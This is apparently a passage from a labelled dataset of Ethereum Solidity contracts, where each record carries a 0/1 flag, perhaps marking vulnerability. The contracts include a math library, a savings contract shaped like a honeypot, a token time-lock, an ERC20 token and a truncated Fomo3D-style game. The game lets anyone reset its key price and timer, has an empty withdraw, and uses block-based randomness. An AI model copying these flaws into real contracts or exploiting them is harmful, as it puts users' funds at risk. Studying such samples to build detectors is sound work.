return true;
}
}
library BasicMathLib {
event Err(string typeErr);
function times(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := mul(a,b)
switch or(iszero(b), eq(div(res,b), a))
case 0 {
err := 1
res := 0
}
}
if (err)
Err("times func overflow");
}
function dividedBy(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
switch iszero(b)
case 0 {
res := div(a,b)
mstore(add(mload(0x40),0x20),res)
return(mload(0x40),0x40)
}
}
Err("tried to divide by zero");
return (true, 0);
}
function plus(uint256 a, uint256 b) constant returns (bool err, uint256 res) {
assembly{
res := add(a,b)
switch and(eq(sub(res,b), a), or(gt(res,b),eq(res,b)))
case 0 {
err := 1
res := 0
}
}
if (err)
Err("plus func overflow");
}
function minus(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := sub(a,b)
switch eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1)
case 0 {
err := 1
res := 0
}
}
if (err)
Err("minus func underflow");
}
} | 1 | 4,018 |
pragma solidity ^0.4.14;
contract Ownable {
address public Owner;
function Ownable() { Owner = msg.sender; }
function isOwner() internal constant returns (bool) { return(Owner == msg.sender); }
}
contract Savings is Ownable {
address public Owner;
mapping (address => uint) public deposits;
uint public openDate;
event Initialized(uint OpenDate);
event Deposit(address indexed Depositor, uint Amount);
event Withdrawal(address indexed Withdrawer, uint Amount);
function init(uint open) payable {
Owner = msg.sender;
openDate = open;
Initialized(open);
}
function() payable { deposit(); }
function deposit() payable {
if (msg.value >= 0.5 ether) {
deposits[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
}
function withdraw(uint amount) payable {
if (isOwner() && now >= openDate) {
uint max = deposits[msg.sender];
if (amount <= max && max > 0) {
msg.sender.transfer(amount);
Withdrawal(msg.sender, amount);
}
}
}
function kill() payable {
if (isOwner() && this.balance == 0) {
selfdestruct(Owner);
}
}
} | 0 | 1,199 |
pragma solidity ^0.4.19;
contract Token {
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender)
public constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner, address indexed _spender, uint256 _value);
}
contract CradTimeLock {
function CradTimeLock (address _owner) public {
owner = _owner;
}
function lock (
Token _token, address _beneficiary, uint256 _amount,
uint256 _unlockTime) public returns (uint256) {
require (_amount > 0);
require (msg.sender == owner);
uint256 id = nextLockID++;
TokenTimeLockInfo storage lockInfo = locks [id];
lockInfo.token = _token;
lockInfo.beneficiary = _beneficiary;
lockInfo.amount = _amount;
lockInfo.unlockTime = _unlockTime;
emit Lock (id, _token, _beneficiary, _amount, _unlockTime);
require (_token.transferFrom (msg.sender, this, _amount));
return id;
}
function unlock (uint256 _id) public {
TokenTimeLockInfo memory lockInfo = locks [_id];
delete locks [_id];
require (lockInfo.amount > 0);
require (lockInfo.unlockTime <= block.timestamp);
require (msg.sender == owner);
emit Unlock (_id);
require (
lockInfo.token.transfer (
lockInfo.beneficiary, lockInfo.amount));
}
address public owner;
uint256 private nextLockID = 0;
mapping (uint256 => TokenTimeLockInfo) public locks;
struct TokenTimeLockInfo {
Token token;
address beneficiary;
uint256 amount;
uint256 unlockTime;
}
event Lock (
uint256 indexed id, Token indexed token, address indexed beneficiary,
uint256 amount, uint256 unlockTime);
event Unlock (uint256 indexed id);
} | 0 | 1,274 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract CRYPTAU is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function CRYPTAU(
) {
balances[msg.sender] = 1000000000000000000000000000;
totalSupply = 1000000000000000000000000000;
name = "CRYPTAU";
decimals = 18;
symbol = "CRPTAU";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 2,375 |
pragma solidity ^0.4.24;
contract RPevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is RPevents {}
contract BChain is modularShort {
using SafeMath for *;
using NameFilter for string;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x8c0731db98b74c856c7fedef22274d8874758348);
DiviesInterface constant private Divies = DiviesInterface(0xfc158712224ba9fd9d78006124404f88e8cfa685);
address private admin = msg.sender;
string constant public name = "B Chain";
string constant public symbol = "RPG";
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public ethConstant_ = 0;
uint256 public keyConstant_ = 0;
uint256 keyPrice_ = 0;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RPdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => RPdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => RPdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => RPdatasets.TeamFee) public fees_;
mapping (uint256 => RPdatasets.PotSplit) public potSplit_;
mapping (address => uint256) public keystore_;
constructor()
public
{
fees_[0] = RPdatasets.TeamFee(20, 48, 20, 10, 2);
fees_[1] = RPdatasets.TeamFee(48, 20, 20, 10, 2);
potSplit_[0] = RPdatasets.PotSplit(48, 2, 10, 20, 20);
potSplit_[1] = RPdatasets.PotSplit(48, 2, 20, 10, 20);
}
modifier isActivated() {
require(activated_ == true, "ouch, ccontract is not ready yet !");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "nope, you're not an Human buddy !!");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RPdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RPdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RPdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RPevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RPevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RPevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function setEmeraldPrice(uint256 _price) public{
keyConstant_ = computeKeyConstant(_price);
ethConstant_ = computeEthConstant(_price);
keyPrice_ = _price;
}
function getPlayerKeyCount() public view returns(uint256){
return keystore_[msg.sender];
}
function updateTimer(uint256 _keys, uint256 _rID)
public
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
keystore_[msg.sender] = keystore_[msg.sender].sub(_keys);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ethRec(round_[_rID].keys.add(1000000000000000000), 1000000000000000000 );
else
return ( keyPrice_ );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(25)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].emerald))).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, RPdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RPevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, RPdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RPevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, RPdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 10000000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 100000000000000000000)
{
uint256 _availableLimit = (100000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = keysRec(round_[_rID].eth, _eth);
keystore_[msg.sender] = keystore_[msg.sender].add(_keys);
if (_keys >= 1000000000000000000)
{
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _eth, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _affID, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return keysRec (round_[_rID].eth, _eth );
else
return keys(_eth);
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ethRec(round_[_rID].keys.add(_keys), _keys);
else
return eth(_keys);
}
function keysRec(uint256 _curEth, uint256 _newEth)
internal
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(keyConstant_)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((ethConstant_).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
function computeKeyConstant(uint256 _eth)
internal
returns (uint256)
{
return (((((156250000).mul(1000000000000000000)).add(74999921875000000000000000000000).sq()).sub(5624988281256103515625000000000000000000000000000000000000000000)) / _eth.mul(1000000000000000000)).ceil(1000);
}
function computeEthConstant(uint256 _eth)
internal
returns (uint256)
{
uint256 key = 1000000000000000000;
return (((2).mul(_eth.mul((1000000000000000000).sq()).sub((78125000).mul(key.sq())))) / (key.mul((1000000000000000000)))).ceil(1000);
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RPdatasets.EventReturns memory _eventData_)
private
returns (RPdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, RPdatasets.EventReturns memory _eventData_)
private
returns (RPdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RPdatasets.EventReturns memory _eventData_)
private
returns (RPdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(potSplit_[_winTID].pot)) / 100;
uint256 _com = (_pot.mul(potSplit_[_winTID].dev)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].emerald)) / 100;
uint256 _glk = (_pot.mul(potSplit_[_winTID].glk)) / 100;
uint256 _res = (_pot.mul(potSplit_[_winTID].nextRound)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (_glk > 0)
Divies.deposit.value(_glk)();
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _glk;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _eth, uint256 _team, RPdatasets.EventReturns memory _eventData_)
private
returns(RPdatasets.EventReturns)
{
uint256 _emerald = (_eth.mul(fees_[_team].emerald)) / 100;
uint256 _glk;
if (!address(admin).call.value(_emerald)())
{
_glk = _emerald;
_emerald = 0;
}
_glk = _glk.add((_eth.mul(fees_[_team].glk)) / 100);
if (_glk > 0)
{
Divies.deposit.value(_glk)();
_eventData_.P3DAmount = _glk.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, uint256 _keys, RPdatasets.EventReturns memory _eventData_)
private
returns(RPdatasets.EventReturns)
{
uint256 _gen = _eth.mul(fees_[_team].emerald) / 100;
uint256 _aff = _eth.mul(fees_[_team].aff) / 100;
uint256 _pot = _eth.mul(fees_[_team].pot) / 100;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RPevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_gen = _gen.add(_aff);
}
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
